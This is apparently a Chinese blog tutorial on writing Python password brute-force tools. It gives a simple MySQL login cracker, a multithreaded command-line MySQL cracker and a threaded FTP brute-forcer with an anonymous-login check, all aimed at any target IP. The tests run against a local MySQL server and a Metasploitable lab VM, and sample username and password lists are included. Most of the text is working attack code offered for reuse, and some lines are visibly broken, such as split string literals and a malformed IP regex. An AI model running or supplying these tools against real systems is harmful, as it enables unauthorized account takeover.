Python开发爆破工具

上一篇讲到了如何用Python开发字典，而当我们手里有了字典

就可以进一步去做爆破的任务了，可以用现成的工具，当然也可以自己写

接下来我就要一步一步来写爆破工具！

爆破MySQL:

想要爆破MySQL目标至少要允许远程连接

我这里没有开启远程连接，只是爆破本地的MySQL

实际上，如果掌握了如何爆破本地MySQL，那么想要远程爆破MySQL也是很轻松的

最基本的实现：

# -*-coding:utf-8 -*-
import pymysql

mysql_username = ('root', 'test', 'admin', 'user')
mysql_password = ('', '123456', 'test', 'root', 'admin', 'xuyiqing', 'user')

success = False
host = "127.0.0.1"
port = 3306

for username in mysql_username:
    for password in mysql_password:
        try:
            db = pymysql.connect(host, username, password)
            success = True
            if success:
                print "用户名:" + username + " 密码:" + password + " 破解成功"
        except Exception, e:
            print "用户名:" + username + " 密码:" + password + " 破解失败"
            pass

固定好哪些用户名和哪些密码，以及爆破的IP和端口，直接执行即可

进阶的MySQL爆破脚本：写的很完整，支持多线程

# -*-coding:utf-8 -*-
"""
MySQL爆破脚本
用法：
python MysqlCrack2.py -H [目标IP] --u [用户字典] --p [密码字典] -P [端口]
"""
import re
import socket
import optparse
import threading

try:
    import pymysql
except ImportError:
    print "[!] You need to install pymysql module!"
    print "[!] Usage:pip install pymysql"
    exit()

result_user = None
result_pass = None
threads = []


def main():
    """
    处理输入参数
    :return:None
    """
    print "Welcome to MysqlCrack2"
    print "Author: Xuyiqing  Version:1.0"
    parse = optparse.OptionParser(
        'python %prog -H <target host> --u <users dictionary> --p <password dictionary> -P <port>')
    parse.add_option('-H', dest="target_host", type="string", help='specify the host')
    parse.add_option('--u', dest='user_dic', type='string', help='specify the dictionary for user')
    parse.add_option('--p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
    parse.add_option('-P', dest='port', type='int', help='specify the port')
    (options, args) = parse.parse_args()
    target_host = options.target_host
    user_dic = options.user_dic
    pwd_dic = options.pwd_dic
    port = options.port
    if target_host is not None and re.match(r'd{1,3}.d{1,3}.d{1,3}.d{1,3}', target_host):
        mysql_brute(target_host, user_dic, pwd_dic, port)
    else:
        print "[!] Unknown IP
"
        exit()


def mysql_brute(host, user_dic, pwd_dic, port):
    """
    MySQL暴力破解
    :param host: 主机
    :param user_dic: 用户字典
    :param pwd_dic: 密码字典
    :param port: 端口
    :return: None
    """
    print "[*] Target:" + host
    print "[*] Start cracking"
    userlist = None
    pwdlist = None
    try:
        socket.gethostbyname(host)
    except Exception:
        print '[*] Cannot connect to %s' % host
        exit()
    try:
        userlist = [i.strip('
') for i in open(user_dic, 'r').readlines()]
        pwdlist = [j.strip('
') for j in open(pwd_dic, 'r').readlines()]
        print "[*] Number of users:" + str(len(userlist))
        print "[*] Number of passwords:" + str(len(pwdlist))
    except Exception:
        print "[!] The path of the dictionary file is incorrect"
        exit()
    global threads
    for user in userlist:
        for pwd in pwdlist:
            t = threading.Thread(target=mysql_login, args=(host, user, pwd, port))
            t.start()
            threads.append(t)


def mysql_login(host, username, password, port):
    """
    MySQL连接
    :param host:主机
    :param username:用户名
    :param password: 密码
    :param port: 端口
    :return: None
    """
    try:
        db = pymysql.Connect(host=host, port=port, user=username, passwd=password)
        print "[+] Success! User:" + username + " Password:" + password + "
"
        global result_user, result_pass
        result_user = username
        result_pass = password
        db.close()
        exit()
    except Exception:
        print "[-] Fail! User:" + username + " Password:" + password + "
"


if __name__ == '__main__':
    main()
    for thread in threads:
        thread.join()
    if result_user is not None and result_pass is not None:
        print "[+] Result: %s - %s" % (result_user, result_pass)
    if result_user is None and result_pass is None:
        print "[+] Crack Fail"

FTP破解工具开发：

实际去安装一些FTP软件比较困难，我这里就用Metasploitable Linux

启动后默认开启FTP服务，我这里的IP是192.168.232.129

Metaploitable Linux的FTP可以匿名登陆，并且已知一个账号密码为：msfadmin-msfadmin

# -*-coding:utf-8 -*-
import optparse
import ftplib
import threading
import socket


def anony_login(host):
    """
    FTP匿名登陆
    :param host:主机
    :return: None
    """
    try:
        ftp = ftplib.FTP(host)
        ftp.connect(host, 21, timeout=10)
        ftp.login('anonymous', 'test@qq.com')
        ftp.retrlines('LIST')
        ftp.quit()
        print "
[*]" + str(host) + " FTP Anonymous Login Success"
    except Exception:
        print "
[-]" + str(host) + " FTP Anonymous Login Fail"


def ftp_login(host, username, password):
    """
    尝试用户密码登陆FTP
    :param host:主机
    :param username:用户名
    :param password:密码
    :return:None
    """
    try:
        print "[-] Trying: " + username + "-" + password + "
"
        ftp = ftplib.FTP(host)
        ftp.connect(host, 21, timeout=10)
        ftp.login(username, password)
        ftp.retrlines("LIST")
        ftp.quit()
        print "Success! " + username + " - " + password
    except ftplib.all_errors:
        pass


def brute_force(host, users_file, pwds_file):
    """
    暴力破解
    :param host: 主机
    :param users_file:用户字典
    :param pwds_file: 密码字典
    :return: None
    """
    users_f = open(users_file, 'r')
    pwds_f = open(pwds_file, 'r')
    for user in users_f.readlines():
        pwds_f.seek(0)
        for password in pwds_f.readlines():
            username = user.strip('
')
            password = password.strip('
')
            t = threading.Thread(target=ftp_login, args=(host, username, password))
            t.start()


def main():
    """
    主函数，处理输入参数
    :return:None
    """
    parser = optparse.OptionParser('usage%prog -H <target host> -u <users dictionary> -p <password dictionary>')
    parser.add_option('-H', dest='target_host', type='string', help='specify the host')
    parser.add_option('-u', dest='user_dic', type='string', help='specify the dictionary for user')
    parser.add_option('-p', dest='pwd_dic', type='string', help='specify the dictionary for passwords')
    (options, args) = parser.parse_args()
    host = options.target_host
    user_dic = options.user_dic
    pwd_dic = options.pwd_dic
    try:
        socket.gethostbyname(host)
    except Exception:
        print '[*] Cannot Resolve %s Unknown host' % host
        exit()
    anony_login(host)
    brute_force(host, user_dic, pwd_dic)


if __name__ == '__main__':
    main()

使用的话，需要两个字典：用户字典和密码字典，我随便加入一些东西

username.txt

root
user
admin
msfadmin
manager

password.txt

pwd
password
userpass
msfadmin
manager
123456

实际使用：-H 输入IP -u 用户名字典 -p 密码字典

结果：上边已经找到匿名登陆，还有下图的msfadmin，说明破解成功了